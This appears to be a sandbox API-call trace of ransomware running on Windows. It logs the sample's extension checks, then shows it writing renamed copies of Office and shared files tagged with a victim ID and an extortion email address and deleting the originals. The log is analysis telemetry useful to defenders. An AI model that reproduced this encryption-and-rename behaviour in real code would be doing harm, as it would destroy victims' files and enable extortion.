	[0090.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.337] lstrlenW (lpString=".doc") returned 4
	[0090.337] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.337] lstrlenW (lpString=".docx") returned 5
	[0090.337] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.337] lstrlenW (lpString=".pdf") returned 4
	[0090.337] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.337] lstrlenW (lpString=".xls") returned 4
	[0090.337] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.337] lstrlenW (lpString=".xlsx") returned 5
	[0090.337] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.337] lstrlenW (lpString=".ppt") returned 4
	[0090.337] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.337] lstrlenW (lpString=".zip") returned 4
	[0090.337] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.337] lstrlenW (lpString=".rar") returned 4
	[0090.337] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.337] lstrlenW (lpString=".bz2") returned 4
	[0090.337] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.337] lstrlenW (lpString=".7z") returned 3
	[0090.337] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".dbf") returned 4
	[0090.338] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".1cd") returned 4
	[0090.338] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".jpg") returned 4
	[0090.338] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".doc") returned 4
	[0090.338] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.338] lstrlenW (lpString=".docx") returned 5
	[0090.338] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.338] lstrlenW (lpString=".pdf") returned 4
	[0090.338] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.338] lstrlenW (lpString=".xls") returned 4
	[0090.338] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.338] lstrlenW (lpString=".xlsx") returned 5
	[0090.338] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.338] lstrlenW (lpString=".ppt") returned 4
	[0090.338] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".zip") returned 4
	[0090.338] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.338] lstrlenW (lpString=".rar") returned 4
	[0090.338] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.338] lstrlenW (lpString=".bz2") returned 4
	[0090.338] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.338] lstrlenW (lpString=".7z") returned 3
	[0090.338] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.338] lstrlenW (lpString=".dbf") returned 4
	[0090.338] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.339] lstrlenW (lpString=".1cd") returned 4
	[0090.339] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned 71
	[0090.339] lstrlenW (lpString=".jpg") returned 4
	[0090.339] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.339] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.339] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0090.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.339] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10752) returned 1
	[0090.339] CloseHandle (hObject=0x300) returned 1
	[0090.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20
	[0090.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.339] lstrlenW (lpString=".doc") returned 4
	[0090.339] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString=".docx") returned 5
	[0090.340] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.340] lstrlenW (lpString=".pdf") returned 4
	[0090.340] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.340] lstrlenW (lpString=".xls") returned 4
	[0090.340] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.340] lstrlenW (lpString=".xlsx") returned 5
	[0090.340] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.340] lstrlenW (lpString=".ppt") returned 4
	[0090.340] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString=".zip") returned 4
	[0090.340] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.340] lstrlenW (lpString=".rar") returned 4
	[0090.340] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.340] lstrlenW (lpString=".bz2") returned 4
	[0090.340] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString=".7z") returned 3
	[0090.340] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString=".dbf") returned 4
	[0090.340] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString=".1cd") returned 4
	[0090.340] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString=".jpg") returned 4
	[0090.340] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.340] lstrlenW (lpString=".doc") returned 4
	[0090.340] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.340] lstrlenW (lpString=".docx") returned 5
	[0090.340] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.340] lstrlenW (lpString=".pdf") returned 4
	[0090.340] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.341] lstrlenW (lpString=".xls") returned 4
	[0090.341] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.341] lstrlenW (lpString=".xlsx") returned 5
	[0090.341] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.341] lstrlenW (lpString=".ppt") returned 4
	[0090.341] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.341] lstrlenW (lpString=".zip") returned 4
	[0090.341] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.341] lstrlenW (lpString=".rar") returned 4
	[0090.341] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.341] lstrlenW (lpString=".bz2") returned 4
	[0090.341] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.341] lstrlenW (lpString=".7z") returned 3
	[0090.341] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.341] lstrlenW (lpString=".dbf") returned 4
	[0090.341] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.341] lstrlenW (lpString=".1cd") returned 4
	[0090.341] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned 72
	[0090.341] lstrlenW (lpString=".jpg") returned 4
	[0090.341] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.341] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.341] lstrlenW (lpString="tipresx.dll.mui") returned 15
	[0090.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.342] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=10752) returned 1
	[0090.342] CloseHandle (hObject=0x300) returned 1
	[0090.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20
	[0090.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.342] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72
	[0090.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72
	[0090.342] lstrlenW (lpString=".doc") returned 4
	[0090.342] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.342] lstrlenW (lpString=".docx") returned 5
	[0090.342] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.342] lstrlenW (lpString=".pdf") returned 4
	[0090.342] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.342] lstrlenW (lpString=".xls") returned 4
	[0090.342] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.342] lstrlenW (lpString=".xlsx") returned 5
	[0090.342] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.342] lstrlenW (lpString=".ppt") returned 4
	[0090.342] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72
	[0090.342] lstrlenW (lpString=".zip") returned 4
	[0090.342] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.342] lstrlenW (lpString=".rar") returned 4
	[0090.342] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.342] lstrlenW (lpString=".bz2") returned 4
	[0090.342] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.342] lstrlenW (lpString=".7z") returned 3
	[0090.343] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui") returned 72
	[0090.343] lstrlenW (lpString=".dbf") returned 4
	[0090.343] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0090.401] GetLastError () returned 0x0
	[0090.401] ReadFile (in: hFile=0x370, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x902bb, lpOverlapped=0x0) returned 1
	[0090.467] WriteFile (in: hFile=0x368, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x902c0, lpOverlapped=0x0) returned 1
	[0090.477] ReadFile (in: hFile=0x370, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.478] WriteFile (in: hFile=0x368, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0090.478] SetEndOfFile (hFile=0x368) returned 1
	[0090.478] CloseHandle (hObject=0x368) returned 1
	[0090.478] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.478] SetEndOfFile (hFile=0x370) returned 1
	[0090.483] CloseHandle (hObject=0x370) returned 1
	[0090.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0090.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1
	[0090.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.484] lstrlenW (lpString=".doc") returned 4
	[0090.484] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0090.484] lstrlenW (lpString=".docx") returned 5
	[0090.484] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0090.484] lstrlenW (lpString=".pdf") returned 4
	[0090.484] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0090.484] lstrlenW (lpString=".xls") returned 4
	[0090.484] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0090.484] lstrlenW (lpString=".xlsx") returned 5
	[0090.484] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0090.484] lstrlenW (lpString=".ppt") returned 4
	[0090.484] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0090.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".zip") returned 4
	[0090.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".rar") returned 4
	[0090.485] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".bz2") returned 4
	[0090.485] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".7z") returned 3
	[0090.485] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".dbf") returned 4
	[0090.485] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".1cd") returned 4
	[0090.485] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".jpg") returned 4
	[0090.485] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".doc") returned 4
	[0090.485] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".docx") returned 5
	[0090.485] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0090.485] lstrlenW (lpString=".pdf") returned 4
	[0090.485] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".xls") returned 4
	[0090.485] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString=".xlsx") returned 5
	[0090.485] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0090.485] lstrlenW (lpString=".ppt") returned 4
	[0090.485] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0090.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.485] lstrlenW (lpString=".zip") returned 4
	[0090.485] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0090.486] lstrlenW (lpString=".rar") returned 4
	[0090.486] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0090.486] lstrlenW (lpString=".bz2") returned 4
	[0090.486] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0090.486] lstrlenW (lpString=".7z") returned 3
	[0090.486] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0090.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.486] lstrlenW (lpString=".dbf") returned 4
	[0090.486] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0090.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.486] lstrlenW (lpString=".1cd") returned 4
	[0090.486] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0090.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0090.486] lstrlenW (lpString=".jpg") returned 4
	[0090.486] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0090.486] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0090.486] lstrlenW (lpString="pkeyconfig.companion.dll") returned 24
	[0090.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.016] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1
	[0091.016] CloseHandle (hObject=0x368) returned 1
	[0091.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 0x20
	[0091.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0091.017] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.017] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.017] GetLastError () returned 0x0
	[0091.017] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0091.019] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0091.020] ReadFile (in: hFile=0x368, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.020] WriteFile (in: hFile=0x374, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x104, lpOverlapped=0x0) returned 1
	[0091.020] SetEndOfFile (hFile=0x374) returned 1
	[0091.020] CloseHandle (hObject=0x374) returned 1
	[0091.021] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.021] SetEndOfFile (hFile=0x368) returned 1
	[0091.022] CloseHandle (hObject=0x368) returned 1
	[0091.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0091.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll")) returned 1
	[0091.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 104
	[0091.023] lstrlenW (lpString=".doc") returned 4
	[0091.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0091.023] lstrlenW (lpString=".docx") returned 5
	[0091.023] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0091.023] lstrlenW (lpString=".pdf") returned 4
	[0091.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
